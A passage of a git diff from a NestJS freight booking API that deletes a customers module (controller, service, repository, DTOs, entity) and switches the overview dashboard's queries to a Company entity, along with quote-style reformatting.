- });
- }
-}
diff --git a/apps/edr-freight-api/src/modules/customers/customers.controller.ts b/apps/edr-freight-api/src/modules/customers/customers.controller.ts
deleted file mode 100644
index 7451bd6b6..000000000
--- a/apps/edr-freight-api/src/modules/customers/customers.controller.ts
+++ /dev/null
@@ -1,86 +0,0 @@
-// src/modules/customers/customers.controller.ts
-
-import {
- Controller,
- Delete,
- Get,
- HttpCode,
- HttpStatus,
- Param,
- ParseUUIDPipe,
- Patch,
- Post,
- Body,
- Query,
-} from "@nestjs/common";
-
-import { ApiOperation } from "@nestjs/swagger";
-
-import { FreightAdmin } from "../../common/booking-guards";
-import { CustomersService } from "./customers.service";
-import { CreateCustomerDto } from "./dto/create-customer.dto";
-import { UpdateCustomerDto } from "./dto/update-customer.dto";
-import { Customer } from "./entities/customer.entity";
-
-@Controller("customers")
-@FreightAdmin()
-export class CustomersController {
- constructor(private readonly customersService: CustomersService) {}
-
- @Post()
- create(@Body() createCustomerDto: CreateCustomerDto): Promise {
- return this.customersService.create(createCustomerDto);
- }
-
- @Get()
- findAll(): Promise {
- return this.customersService.findAll();
- }
-
- @Get("stats")
- @ApiOperation({ summary: "Get customer statistics" })
- getStats(): Promise<{ total: number; withVatNumber: number }> {
- return this.customersService.getStats();
- }
-
- @Get("search")
- searchByName(@Query("name") name: string): Promise {
- return this.customersService.searchByName(name);
- }
-
- @Get("email/:email")
- findByEmail(@Param("email") email: string): Promise {
- return this.customersService.findByEmail(email);
- }
-
- @Get("vat/:vatNumber")
- findByVatNumber(@Param("vatNumber") vatNumber: string): Promise {
- return this.customersService.findByVatNumber(vatNumber);
- }
-
- @Get(":id")
- findById(@Param("id", ParseUUIDPipe) id: string): Promise {
- return this.customersService.findById(id);
- }
-
- // @Get("user/:userId")
- // findByUserId(@Param("userId", ParseUUIDPipe) userId: string): Promise {
- // return this.customersService.findByUserId(userId);
- // }
-
- @Patch(":id")
- @ApiOperation({ summary: "Update a customer" })
- update(
- @Param("id", ParseUUIDPipe) id: string,
- @Body() dto: UpdateCustomerDto,
- ): Promise {
- return this.customersService.update(id, dto);
- }
-
- @Delete(":id")
- @ApiOperation({ summary: "Soft-delete a customer" })
- @HttpCode(HttpStatus.NO_CONTENT)
- remove(@Param("id", ParseUUIDPipe) id: string): Promise {
- return this.customersService.delete(id);
- }
-}
\ No newline at end of file
diff --git a/apps/edr-freight-api/src/modules/customers/customers.module.ts b/apps/edr-freight-api/src/modules/customers/customers.module.ts
deleted file mode 100644
index 28c6b7c89..000000000
--- a/apps/edr-freight-api/src/modules/customers/customers.module.ts
+++ /dev/null
@@ -1,15 +0,0 @@
-import { Module } from "@nestjs/common";
-import { TypeOrmModule } from "@nestjs/typeorm";
-
-import { CustomersController } from "./customers.controller";
-import { CustomersRepository } from "./customers.repository";
-import { CustomersService } from "./customers.service";
-import { Customer } from "./entities/customer.entity";
-
-@Module({
- imports: [TypeOrmModule.forFeature([Customer])],
- controllers: [CustomersController],
- providers: [CustomersService, CustomersRepository],
- exports: [CustomersService],
-})
-export class CustomersModule {}
diff --git a/apps/edr-freight-api/src/modules/customers/customers.repository.ts b/apps/edr-freight-api/src/modules/customers/customers.repository.ts
deleted file mode 100644
index 5933cef61..000000000
--- a/apps/edr-freight-api/src/modules/customers/customers.repository.ts
+++ /dev/null
@@ -1,117 +0,0 @@
-// import { BaseRepository } from "@edr/api-common";
-// import { EntityRepository } from "typeorm";
-
-// src/modules/customers/customers.repository.ts
-import { Injectable } from "@nestjs/common";
-import { InjectRepository } from "@nestjs/typeorm";
-import { Repository, FindManyOptions, FindOptionsWhere } from "typeorm";
-import { Customer } from "./entities/customer.entity";
-import { CreateCustomerDto } from "./dto/create-customer.dto";
-// import { UpdateCustomerDto } from "./dto/update-customer.dto";
-
-@Injectable()
-export class CustomersRepository {
- constructor(
- @InjectRepository(Customer)
- private readonly repository: Repository,
- ) { }
-
- async create(dto: CreateCustomerDto): Promise {
- const customer = this.repository.create(dto);
- return await this.repository.save(customer);
- }
-
- async findAll(options?: FindManyOptions): Promise {
- return await this.repository.find(options);
- }
-
- async findById(id: string): Promise {
- return await this.repository.findOne({ where: { id } as FindOptionsWhere });
- }
-
- async findByUserId(userId: string): Promise {
- return await this.repository.findOne({ where: { userId } as FindOptionsWhere });
- }
-
- async findByEmail(email: string): Promise {
- return await this.repository.findOne({ where: { email } as FindOptionsWhere });
- }
-
- async findByVatNumber(vatNumber: string): Promise {
- return await this.repository.findOne({ where: { vatNumber } as FindOptionsWhere });
- }
-
- async findByName(name: string): Promise {
- return await this.repository
- .createQueryBuilder("customer")
- .where("customer.companyName ILIKE :name", { name: `%${name}%` })
- .getMany();
- }
-
- async findOneByEmailOrVat(email?: string, vatNumber?: string): Promise {
- if (!email && !vatNumber) return null;
-
- const queryBuilder = this.repository.createQueryBuilder('customer');
-
- if (email && vatNumber) {
- queryBuilder.where('customer.email = :email', { email })
- .orWhere('customer.vatNumber = :vatNumber', { vatNumber });
- } else if (email) {
- queryBuilder.where('customer.email = :email', { email });
- } else if (vatNumber) {
- queryBuilder.where('customer.vatNumber = :vatNumber', { vatNumber });
- }
-
- return await queryBuilder.getOne();
- }
-
- async update(id: string, updates: Partial): Promise {
- await this.repository.update(id, updates);
- return this.findById(id);
- }
-
- async delete(id: string): Promise {
- const result = await this.repository.delete(id);
- return (result.affected ?? 0) > 0;
- }
-
- async count(where?: any): Promise {
- if (where?.createdAt) {
- const result = await this.repository
- .createQueryBuilder('customer')
- .where('customer.createdAt >= :date', { date: where.createdAt })
- .getCount();
- return result;
- }
- return await this.repository.count();
- }
-
- async existsByUniqueFields(email: string, vatNumber?: string): Promise {
- const queryBuilder = this.repository.createQueryBuilder('customer')
- .where('customer.email = :email', { email });
-
- if (vatNumber) {
- queryBuilder.orWhere('customer.vatNumber = :vatNumber', { vatNumber });
- }
-
- const count = await queryBuilder.getCount();
- return count > 0;
- }
-
- async countWithVatNumber(): Promise {
- const count = await this.repository
- .createQueryBuilder('customer')
- .where('customer.vatNumber IS NOT NULL')
- .andWhere("customer.vatNumber != ''")
- .getCount();
-
- return count;
- }
-
- getRepository(): Repository {
- return this.repository;
- }
- softDelete(id: string): any {
- return id;
- }
-}
\ No newline at end of file
diff --git a/apps/edr-freight-api/src/modules/customers/customers.service.ts b/apps/edr-freight-api/src/modules/customers/customers.service.ts
deleted file mode 100644
index e3d1f3a82..000000000
--- a/apps/edr-freight-api/src/modules/customers/customers.service.ts
+++ /dev/null
@@ -1,140 +0,0 @@
-import {
- Injectable,
- NotFoundException,
- ConflictException,
- BadRequestException,
-} from "@nestjs/common";
-
-import { CustomersRepository } from "./customers.repository";
-import { CreateCustomerDto } from "./dto/create-customer.dto";
-import { UpdateCustomerDto } from "./dto/update-customer.dto";
-import { Customer } from "./entities/customer.entity";
-
-@Injectable()
-export class CustomersService {
- constructor(private readonly customersRepository: CustomersRepository) {}
-
- /** Create a new customer */
- async create(dto: CreateCustomerDto): Promise {
- const exists = await this.customersRepository.existsByUniqueFields(
- dto.email,
- dto.vatNumber,
- );
-
- if (exists) {
- throw new ConflictException(
- "Customer with same email or VAT number already exists",
- );
- }
-
- if (dto.vatNumber && dto.vatNumber.length !== 10) {
- throw new BadRequestException("VAT number must be exactly 10 digits");
- }
-
- return this.customersRepository.create(dto);
- }
-
- /** Get all customers */
- findAll(): Promise {
- return this.customersRepository.findAll({
- order: { companyName: "ASC" },
- });
- }
-
- /** Get customer by ID */
- async findById(id: string): Promise {
- const customer = await this.customersRepository.findById(id);
-
- if (!customer) {
- throw new NotFoundException(`Customer with ID ${id} not found`);
- }
-
- return customer;
- }
-
- // async findByUserId(userId: string): Promise {
- // const customer = await this.customersRepository.findByUserId(userId);
-
- // if (!customer) {
- // throw new NotFoundException(`Customer with ID ${userId} not found`);
- // }
-
- // return customer;
- //}
-
- /** Get customer by email */
- async findByEmail(email: string): Promise {
- const customer = await this.customersRepository.findByEmail(email);
-
- if (!customer) {
- throw new NotFoundException(`Customer with email ${email} not found`);
- }
-
- return customer;
- }
-
- /** Get customer by VAT number */
- async findByVatNumber(vatNumber: string): Promise {
- const customer = await this.customersRepository.findByVatNumber(vatNumber);
-
- if (!customer) {
- throw new NotFoundException(
- `Customer with VAT number ${vatNumber} not found`,
- );
- }
-
- return customer;
- }
-
- /** Search customers by name */
- searchByName(name: string): Promise {
- return this.customersRepository.findByName(name);
- }
-
- /** Update customer */
- async update(id: string, dto: UpdateCustomerDto): Promise {
- await this.findById(id);
-
- // Validate VAT number if provided
- if (dto.vatNumber && dto.vatNumber.length !== 10) {
- throw new BadRequestException("VAT number must be exactly 10 digits");
- }
-
- // // Check email conflict
- // if (dto.email) {
- // const existing = await this.customersRepository.findByEmail(dto.email);
-
- // // if (existing && existing.userId !== id) {
- // // throw new ConflictException(
- // // `Customer with email "${dto.email}" already exists`,
- // // );
- // // }
- // }
-
- const updated = await this.customersRepository.update(id, dto);
-
- if (!updated) {
- throw new NotFoundException(`Customer ${id} not found`);
- }
-
- return updated;
- }
-
- /** Delete customer (soft delete) */
- async remove(id: string): Promise {
- await this.findById(id);
- await this.customersRepository.softDelete(id);
- }
-
- /** Get customer statistics */
- async getStats(): Promise<{ total: number; withVatNumber: number }> {
- const total = await this.customersRepository.count();
- const withVatNumber = await this.customersRepository.countWithVatNumber();
-
- return { total, withVatNumber };
- }
-
- delete(id: string): any {
- return id;
- }
-}
\ No newline at end of file
diff --git a/apps/edr-freight-api/src/modules/customers/dto/create-customer.dto.ts b/apps/edr-freight-api/src/modules/customers/dto/create-customer.dto.ts
deleted file mode 100644
index 39fc16414..000000000
--- a/apps/edr-freight-api/src/modules/customers/dto/create-customer.dto.ts
+++ /dev/null
@@ -1,156 +0,0 @@
-import {
- IsEmail,
- IsEnum,
- IsOptional,
- IsString,
- MaxLength,
- IsNotEmpty,
- Length,
- Matches,
-} from "class-validator";
-
-// Enums
-export enum CustomerStatusDto {
- Active = "Active",
- Pending = "Pending",
- Inactive = "Inactive",
-}
-
-export enum CustomerTypeDto {
- Importer = "Importer",
- Exporter = "Exporter",
- Supplier = "Supplier",
-}
-
-// DTO
-export class CreateCustomerDto {
- // Basic identity
- @IsString()
- @IsNotEmpty()
- userId!: string;
-
- @IsString()
- @IsNotEmpty()
- @MaxLength(100)
- firstName!: string;
-
- @IsString()
- @IsNotEmpty()
- @MaxLength(100)
- lastName!: string;
-
- @IsEmail()
- @IsNotEmpty()
- email!: string;
-
- @IsString()
- @IsNotEmpty()
- @MaxLength(20)
- phone!: string;
-
- // Company info
- @IsString()
- @IsNotEmpty()
- @MaxLength(200)
- companyName!: string;
-
- @IsEmail()
- @IsNotEmpty()
- companyEmail!: string;
-
- @IsString()
- @IsNotEmpty()
- @MaxLength(20)
- companyPhone!: string;
-
- @IsString()
- @IsNotEmpty()
- @MaxLength(100)
- companyLocation!: string;
-
- @IsString()
- @IsNotEmpty()
- companyAddress!: string;
-
- // Classification
- @IsOptional()
- @IsEnum(CustomerTypeDto)
- customerType?: CustomerTypeDto;
-
- @IsOptional()
- @IsEnum(CustomerStatusDto)
- status?: CustomerStatusDto;
-
- // Legal identifiers
- @IsString()
- @IsNotEmpty()
- @Length(10, 10)
- @Matches(/^\d+$/, { message: "TIN must contain only digits" })
- tinNumber!: string;
-
- @IsString()
- @IsNotEmpty()
- @Length(16, 16)
- @Matches(/^\d+$/, { message: "FAN must contain only digits" })
- fanNumber!: string;
-
- @IsString()
- @IsNotEmpty()
- @MaxLength(50)
- vatNumber!: string;
-
- // Contact person
- @IsString()
- @IsNotEmpty()
- @MaxLength(100)
- contactPersonName!: string;
-
- @IsString()
- @IsNotEmpty()
- @MaxLength(20)
- contactPersonPhone!: string;
-
- // Management
- @IsString()
- @IsNotEmpty()
- @MaxLength(100)
- generalManagerName!: string;
-
- @IsEmail()
- @IsNotEmpty()
- generalManagerEmail!: string;
-
- @IsString()
- @IsNotEmpty()
- @MaxLength(20)
- generalManagerPhone!: string;
-
- // POA (Power of Attorney)
- @IsOptional()
- @IsString()
- @MaxLength(100)
- poaName?: string;
-
- @IsOptional()
- @IsString()
- @MaxLength(20)
- poaPhone?: string;
-
- @IsOptional()
- @IsString()
- poaAddress?: string;
-
- @IsOptional()
- @IsEmail()
- poaEmail?: string;
-
- @IsOptional()
- @IsString()
- @MaxLength(100)
- poaLocation?: string;
-
- // Extra
- @IsOptional()
- @IsString()
- notes?: string;
-}
\ No newline at end of file
diff --git a/apps/edr-freight-api/src/modules/customers/dto/response-customer.dto.ts b/apps/edr-freight-api/src/modules/customers/dto/response-customer.dto.ts
deleted file mode 100644
index 3d2a086d4..000000000
--- a/apps/edr-freight-api/src/modules/customers/dto/response-customer.dto.ts
+++ /dev/null
@@ -1,60 +0,0 @@
-// src/modules/customers/dto/response-customer.dto.ts
-import { Customer } from '../entities/customer.entity';
-
-export class ResponseCustomerDto {
- //UserId: string;
- firstName: string;
- lastName: string;
- email: string;
- phone: string;
- companyName: string;
- companyEmail: string;
- companyPhone: string;
- companyLocation: string;
- companyAddress: string;
- contactPersonName: string;
- contactPersonPhone: string;
- tinNumber: string;
- vatNumber?: string;
- fanNumber: string;
- generalManagerName: string;
- generalManagerEmail: string;
- generalManagerPhone: string;
- poaName?: string;
- poaPhone?: string;
- poaAddress?: string;
- poaEmail?: string;
- poaLocation?: string;
- notes?: string;
- createdAt: Date;
- updatedAt: Date;
-
- constructor(customer: Customer) {
- //this.UserId = customer.userId;
- this.firstName = customer.firstName;
- this.lastName = customer.lastName;
- this.email = customer.email;
- this.phone = customer.phone;
- this.companyName = customer.companyName;
- this.companyEmail = customer.companyEmail;
- this.companyPhone = customer.companyPhone;
- this.companyLocation = customer.companyLocation;
- this.companyAddress = customer.companyAddress;
- this.contactPersonName = customer.contactPersonName;
- this.contactPersonPhone = customer.contactPersonPhone;
- this.tinNumber = customer.tinNumber;
- this.vatNumber = customer.vatNumber ?? undefined;
- this.fanNumber = customer.fanNumber;
- this.generalManagerName = customer.generalManagerName;
- this.generalManagerEmail = customer.generalManagerEmail;
- this.generalManagerPhone = customer.generalManagerPhone;
- this.poaName = customer.poaName ?? '';
- this.poaPhone = customer.poaPhone ?? '';
- this.poaAddress = customer.poaAddress ?? '';
- this.poaEmail = customer.poaEmail ?? '';
- this.poaLocation = customer.poaLocation ?? '';
- this.notes = customer.notes ?? '';
- this.createdAt = customer.createdAt;
- this.updatedAt = customer.updatedAt;
- }
-}
\ No newline at end of file
diff --git a/apps/edr-freight-api/src/modules/customers/dto/update-customer.dto.ts b/apps/edr-freight-api/src/modules/customers/dto/update-customer.dto.ts
deleted file mode 100644
index f8cefe046..000000000
--- a/apps/edr-freight-api/src/modules/customers/dto/update-customer.dto.ts
+++ /dev/null
@@ -1,9 +0,0 @@
-// src/modules/customers/dto/update-customer.dto.ts
-import { PartialType } from '@nestjs/mapped-types';
-import { CreateCustomerDto } from './create-customer.dto';
-
-export class UpdateCustomerDto extends PartialType(CreateCustomerDto) {
- email?: string;
- vatNumber?: string;
- // Add any other properties you need to access directly
-}
diff --git a/apps/edr-freight-api/src/modules/customers/entities/customer.entity.ts b/apps/edr-freight-api/src/modules/customers/entities/customer.entity.ts
deleted file mode 100644
index abccbaef8..000000000
--- a/apps/edr-freight-api/src/modules/customers/entities/customer.entity.ts
+++ /dev/null
@@ -1,87 +0,0 @@
-import { BaseEntity } from '@edr/api-common';
-import { Column, Entity, Index } from 'typeorm';
-
-@Entity({ schema: 'freight', name: 'customers' })
-@Index(['email'])
-//@Index(['userId'])
-@Index(['tinNumber'])
-@Index(['fanNumber'])
-export class Customer extends BaseEntity {
- //@Column({ name: 'user_id', type: 'uuid' })
- //userId!: string;
-
- @Column({ name: 'first_name', type: 'varchar', length: 100 })
- firstName!: string;
-
- @Column({ name: 'last_name', type: 'varchar', length: 100 })
- lastName!: string;
-
- @Column({ name: 'email', type: 'varchar', length: 150, unique: true })
- email!: string;
-
- @Column({ name: 'phone', type: 'varchar', length: 20 })
- phone!: string;
-
- @Column({ name: 'company_name', type: 'varchar', length: 200 })
- companyName!: string;
-
- @Column({ name: 'company_email', type: 'varchar', length: 150 })
- companyEmail!: string;
-
- @Column({ name: 'company_phone', type: 'varchar', length: 20 })
- companyPhone!: string;
-
- @Column({ name: 'company_location', type: 'varchar', length: 100 })
- companyLocation!: string;
-
- @Column({ name: 'company_address', type: 'text' })
- companyAddress!: string;
-
- @Column({ name: 'customer_type', type: 'varchar', length: 32, nullable: true })
- customerType?: string | null;
-
- @Column({ name: 'status', type: 'varchar', length: 32, nullable: true })
- status?: string | null;
-
- @Column({ name: 'contact_person_name', type: 'varchar', length: 100 })
- contactPersonName!: string;
-
- @Column({ name: 'contact_person_phone', type: 'varchar', length: 20 })
- contactPersonPhone!: string;
-
- @Column({ name: 'tin_number', type: 'varchar', length: 10, unique: true })
- tinNumber!: string;
-
- @Column({ name: 'vat_number', type: 'varchar', length: 50, nullable: true })
- vatNumber?: string | null;
-
- @Column({ name: 'fan_number', type: 'varchar', length: 16, unique: true })
- fanNumber!: string;
-
- @Column({ name: 'general_manager_name', type: 'varchar', length: 100 })
- generalManagerName!: string;
-
- @Column({ name: 'general_manager_email', type: 'varchar', length: 150 })
- generalManagerEmail!: string;
-
- @Column({ name: 'general_manager_phone', type: 'varchar', length: 20 })
- generalManagerPhone!: string;
-
- @Column({ name: 'poa_name', type: 'varchar', length: 100, nullable: true })
- poaName?: string | null;
-
- @Column({ name: 'poa_phone', type: 'varchar', length: 20, nullable: true })
- poaPhone?: string | null;
-
- @Column({ name: 'poa_address', type: 'text', nullable: true })
- poaAddress?: string | null;
-
- @Column({ name: 'poa_email', type: 'varchar', length: 150, nullable: true })
- poaEmail?: string | null;
-
- @Column({ name: 'poa_location', type: 'varchar', length: 100, nullable: true })
- poaLocation?: string | null;
-
- @Column({ name: 'notes', type: 'text', nullable: true })
- notes?: string | null;
-}
diff --git a/apps/edr-freight-api/src/modules/overview/overview.module.ts b/apps/edr-freight-api/src/modules/overview/overview.module.ts
index 50893b626..87cdc62d5 100644
--- a/apps/edr-freight-api/src/modules/overview/overview.module.ts
+++ b/apps/edr-freight-api/src/modules/overview/overview.module.ts
@@ -1,25 +1,25 @@
-import { Module } from '@nestjs/common';
-import { TypeOrmModule } from '@nestjs/typeorm';
-import { Employee } from '@tria-plc/iamapi-common';
-import { User } from '@tria-plc/iamapi-common/entities/iam/user/user.entity';
+import { Module } from "@nestjs/common";
+import { TypeOrmModule } from "@nestjs/typeorm";
+import { Employee } from "@tria-plc/iamapi-common";
+import { User } from "@tria-plc/iamapi-common/entities/iam/user/user.entity";
-import { Booking } from '../bookings/entities/booking.entity';
-import { Cargo } from '../cargoes/entities/cargoes.entity';
-import { Container } from '../container-management/entities/container.entity';
-import { Customer } from '../customers/entities/customer.entity';
-import { PaymentEntity } from '../payment/entities/payment.entity';
-import { Train } from '../trains/entities/train.entity';
-import { Wagon } from '../wagons/entities/wagon.entity';
-import { OverviewController } from './overview.controller';
-import { OverviewRepository } from './overview.repository';
-import { OverviewService } from './overview.service';
+import { Booking } from "../bookings/entities/booking.entity";
+import { Cargo } from "../cargoes/entities/cargoes.entity";
+import { Container } from "../container-management/entities/container.entity";
+import { Company } from "../companies/entities/company.entity";
+import { PaymentEntity } from "../payment/entities/payment.entity";
+import { Train } from "../trains/entities/train.entity";
+import { Wagon } from "../wagons/entities/wagon.entity";
+import { OverviewController } from "./overview.controller";
+import { OverviewRepository } from "./overview.repository";
+import { OverviewService } from "./overview.service";
@Module({
imports: [
TypeOrmModule.forFeature([
Booking,
PaymentEntity,
- Customer,
+ Company,
Train,
Wagon,
Container,
@@ -31,4 +31,4 @@ import { OverviewService } from './overview.service';
controllers: [OverviewController],
providers: [OverviewService, OverviewRepository],
})
-export class OverviewModule {}
+export class OverviewModule { }
diff --git a/apps/edr-freight-api/src/modules/overview/overview.repository.ts b/apps/edr-freight-api/src/modules/overview/overview.repository.ts
index 2c49ff8da..a57ba24db 100644
--- a/apps/edr-freight-api/src/modules/overview/overview.repository.ts
+++ b/apps/edr-freight-api/src/modules/overview/overview.repository.ts
@@ -1,24 +1,24 @@
-import { Injectable } from '@nestjs/common';
-import { InjectRepository } from '@nestjs/typeorm';
-import { EUserStatus } from '@tria-plc/api-common/utils/enums/user.enum';
-import { Employee } from '@tria-plc/iamapi-common';
-import { User } from '@tria-plc/iamapi-common/entities/iam/user/user.entity';
-import { Freight } from '@edr/types';
-import { Repository, ObjectLiteral } from 'typeorm';
+import { Injectable } from "@nestjs/common";
+import { InjectRepository } from "@nestjs/typeorm";
+import { EUserStatus } from "@tria-plc/api-common/utils/enums/user.enum";
+import { Employee } from "@tria-plc/iamapi-common";
+import { User } from "@tria-plc/iamapi-common/entities/iam/user/user.entity";
+import { Freight } from "@edr/types";
+import { Repository, ObjectLiteral } from "typeorm";
-import { Booking } from '../bookings/entities/booking.entity';
-import { Cargo } from '../cargoes/entities/cargoes.entity';
-import { Container } from '../container-management/entities/container.entity';
-import { Customer } from '../customers/entities/customer.entity';
-import { PaymentEntity } from '../payment/entities/payment.entity';
-import { Train } from '../trains/entities/train.entity';
-import { Wagon } from '../wagons/entities/wagon.entity';
+import { Booking } from "../bookings/entities/booking.entity";
+import { Cargo } from "../cargoes/entities/cargoes.entity";
+import { Container } from "../container-management/entities/container.entity";
+import { PaymentEntity } from "../payment/entities/payment.entity";
+import { Train } from "../trains/entities/train.entity";
+import { Wagon } from "../wagons/entities/wagon.entity";
import {
OVERVIEW_CLOSED_STATUSES,
OVERVIEW_IN_APPROVAL_STATUSES,
OVERVIEW_NEEDS_ACTION_STATUSES,
OVERVIEW_URGENT_PRIORITY_THRESHOLD,
-} from './overview.constants';
+} from "./overview.constants";
+import { Company } from "../companies/entities/company.entity";
export type OverviewBookingKpisRow = {
totalActive: number;
@@ -46,8 +46,8 @@ export class OverviewRepository {
private readonly bookingRepository: Repository,
@InjectRepository(PaymentEntity)
private readonly paymentRepository: Repository,
- @InjectRepository(Customer)
- private readonly customerRepository: Repository,
+ @InjectRepository(Company)
+ private readonly companyRepository: Repository,
@InjectRepository(Train)
private readonly trainRepository: Repository,
@InjectRepository(Wagon)
@@ -60,32 +60,32 @@ export class OverviewRepository {
private readonly employeeRepository: Repository,
@InjectRepository(User)
private readonly userRepository: Repository,
- ) {}
+ ) { }
async getBookingKpis(): Promise {
const row = await this.bookingRepository
- .createQueryBuilder('booking')
+ .createQueryBuilder("booking")
.select(
`COUNT(*) FILTER (WHERE booking.status NOT IN (:...closedStatuses) AND booking.status != 'DRAFT')::int`,
- 'totalActive',
+ "totalActive",
)
.addSelect(
`COUNT(*) FILTER (WHERE booking.status IN (:...needsActionStatuses))::int`,
- 'needsAction',
+ "needsAction",
)
.addSelect(
`COUNT(*) FILTER (WHERE booking.priority_score >= :urgentThreshold)::int`,
- 'urgent',
+ "urgent",
)
.addSelect(
`COUNT(*) FILTER (WHERE booking.status IN (:...inApprovalStatuses))::int`,
- 'inApproval',
+ "inApproval",
)
.addSelect(
`COUNT(*) FILTER (WHERE booking.created_at >= CURRENT_DATE AND booking.status != 'DRAFT')::int`,
- 'submittedToday',
+ "submittedToday",
)
- .where('booking.deleted_at IS NULL')
+ .where("booking.deleted_at IS NULL")
.setParameters({
closedStatuses: [...OVERVIEW_CLOSED_STATUSES],
needsActionStatuses: [...OVERVIEW_NEEDS_ACTION_STATUSES],
@@ -112,9 +112,9 @@ export class OverviewRepository {
const [trainsActive, wagonsAvailable, containersInTransit, cargoesLoaded] =
await Promise.all([
this.trainRepository
- .createQueryBuilder('train')
- .where('train.deleted_at IS NULL')
- .andWhere('train.status IN (:...statuses)', {
+ .createQueryBuilder("train")
+ .where("train.deleted_at IS NULL")
+ .andWhere("train.status IN (:...statuses)", {
statuses: [
Freight.TrainStatus.InService,
Freight.TrainStatus.Scheduled,
@@ -122,39 +122,46 @@ export class OverviewRepository {
})
.getCount(),
this.wagonRepository
- .createQueryBuilder('wagon')
- .where('wagon.deleted_at IS NULL')
- .andWhere('wagon.status = :status', { status: Freight.WagonStatus.Available })
+ .createQueryBuilder("wagon")
+ .where("wagon.deleted_at IS NULL")
+ .andWhere("wagon.status = :status", {
+ status: Freight.WagonStatus.Available,
+ })
.getCount(),
this.containerRepository
- .createQueryBuilder('container')
- .where('container.deleted_at IS NULL')
- .andWhere('container.status = :status', { status: 'IN_TRANSIT' })
+ .createQueryBuilder("container")
+ .where("container.deleted_at IS NULL")
+ .andWhere("container.status = :status", { status: "IN_TRANSIT" })
.getCount(),
this.cargoRepository
- .createQueryBuilder('cargo')
- .where('cargo.deleted_at IS NULL')
- .andWhere('cargo.status IN (:...statuses)', {
- statuses: ['LOADED', 'IN_TRANSIT'],
+ .createQueryBuilder("cargo")
+ .where("cargo.deleted_at IS NULL")
+ .andWhere("cargo.status IN (:...statuses)", {
+ statuses: ["LOADED", "IN_TRANSIT"],
})
.getCount(),
]);
- return { trainsActive, wagonsAvailable, containersInTransit, cargoesLoaded };
+ return {
+ trainsActive,
+ wagonsAvailable,
+ containersInTransit,
+ cargoesLoaded,
+ };
}
async getCustomerKpis(): Promise<{
totalCustomers: number;
newCustomersThisMonth: number;
}> {
- const row = await this.customerRepository
- .createQueryBuilder('customer')
- .select('COUNT(*)::int', 'totalCustomers')
+ const row = await this.companyRepository
+ .createQueryBuilder("customer")
+ .select("COUNT(*)::int", "totalCustomers")
.addSelect(
`COUNT(*) FILTER (WHERE customer.created_at >= date_trunc('month', CURRENT_DATE))::int`,
- 'newCustomersThisMonth',
+ "newCustomersThisMonth",
)
- .where('customer.deleted_at IS NULL')
+ .where("customer.deleted_at IS NULL")
.getRawOne>();
return {
@@ -170,26 +177,26 @@ export class OverviewRepository {
successfulPaymentsMtd: number;
}> {
const revenueRow = await this.paymentRepository
- .createQueryBuilder('payment')
+ .createQueryBuilder("payment")
.select(
`COALESCE(SUM(payment.amount) FILTER (WHERE payment.currency = 'ETB'), 0)`,
- 'revenueMtdEtb',
+ "revenueMtdEtb",
)
.addSelect(
`COALESCE(SUM(payment.amount) FILTER (WHERE payment.currency = 'USD'), 0)`,
- 'revenueMtdUsd',
+ "revenueMtdUsd",
)
- .addSelect(`COUNT(*)::int`, 'successfulPaymentsMtd')
- .where('payment.status = :status', { status: 'success' })
+ .addSelect(`COUNT(*)::int`, "successfulPaymentsMtd")
+ .where("payment.status = :status", { status: "success" })
.andWhere(
`COALESCE(payment.paid_at, payment.created_at) >= date_trunc('month', CURRENT_DATE)`,
)
.getRawOne>();
const pendingPayments = await this.paymentRepository
- .createQueryBuilder('payment')
- .where('payment.status IN (:...statuses)', {
- statuses: ['action-required', 'processing'],
+ .createQueryBuilder("payment")
+ .where("payment.status IN (:...statuses)", {
+ statuses: ["action-required", "processing"],
})
.getCount();
@@ -201,7 +208,10 @@ export class OverviewRepository {
};
}
- async getStaffKpis(): Promise<{ activeEmployees: number; activeUsers: number }> {
+ async getStaffKpis(): Promise<{
+ activeEmployees: number;
+ activeUsers: number;
+ }> {
const [activeEmployees, activeUsers] = await Promise.all([
this.employeeRepository.count({
where: { isCurrent: true },
@@ -217,15 +227,17 @@ export class OverviewRepository {
return { activeEmployees, activeUsers };
}
- async getBookingTrend(days: number): Promise<{ date: string; count: number }[]> {
+ async getBookingTrend(
+ days: number,
+ ): Promise<{ date: string; count: number }[]> {
const rows = await this.bookingRepository
- .createQueryBuilder('booking')
- .select(`to_char(booking.created_at::date, 'YYYY-MM-DD')`, 'date')
- .addSelect('COUNT(*)::int', 'count')
- .where('booking.deleted_at IS NULL')
+ .createQueryBuilder("booking")
+ .select(`to_char(booking.created_at::date, 'YYYY-MM-DD')`, "date")
+ .addSelect("COUNT(*)::int", "count")
+ .where("booking.deleted_at IS NULL")
.andWhere(`booking.created_at >= CURRENT_DATE - :days::int + 1`, { days })
- .groupBy('booking.created_at::date')
- .orderBy('booking.created_at::date', 'ASC')
+ .groupBy("booking.created_at::date")
+ .orderBy("booking.created_at::date", "ASC")
.getRawMany<{ date: string; count: string }>();
return rows.map((row) => ({
@@ -236,11 +248,11 @@ export class OverviewRepository {
async getStatusCounts(): Promise> {
const rows = await this.bookingRepository
- .createQueryBuilder('booking')
- .select('booking.status', 'status')
- .addSelect('COUNT(*)::int', 'count')
- .where('booking.deleted_at IS NULL')
- .groupBy('booking.status')
+ .createQueryBuilder("booking")
+ .select("booking.status", "status")
+ .addSelect("COUNT(*)::int", "count")
+ .where("booking.deleted_at IS NULL")
+ .groupBy("booking.status")
.getRawMany<{ status: string; count: string }>();
return Object.fromEntries(
@@ -252,26 +264,26 @@ export class OverviewRepository {
days: number,
): Promise<{ date: string; amountEtb: number; amountUsd: number }[]> {
const rows = await this.paymentRepository
- .createQueryBuilder('payment')
+ .createQueryBuilder("payment")
.select(
`to_char(COALESCE(payment.paid_at, payment.created_at)::date, 'YYYY-MM-DD')`,
- 'date',
+ "date",
)
.addSelect(
`COALESCE(SUM(payment.amount) FILTER (WHERE payment.currency = 'ETB'), 0)`,
- 'amountEtb',
+ "amountEtb",
)
.addSelect(
`COALESCE(SUM(payment.amount) FILTER (WHERE payment.currency = 'USD'), 0)`,
- 'amountUsd',
+ "amountUsd",
)
- .where('payment.status = :status', { status: 'success' })
+ .where("payment.status = :status", { status: "success" })
.andWhere(
`COALESCE(payment.paid_at, payment.created_at) >= CURRENT_DATE - :days::int + 1`,
{ days },
)
.groupBy(`COALESCE(payment.paid_at, payment.created_at)::date`)
- .orderBy(`COALESCE(payment.paid_at, payment.created_at)::date`, 'ASC')
+ .orderBy(`COALESCE(payment.paid_at, payment.created_at)::date`, "ASC")
.getRawMany<{ date: string; amountEtb: string; amountUsd: string }>();
return rows.map((row) => ({
@@ -283,18 +295,18 @@ export class OverviewRepository {
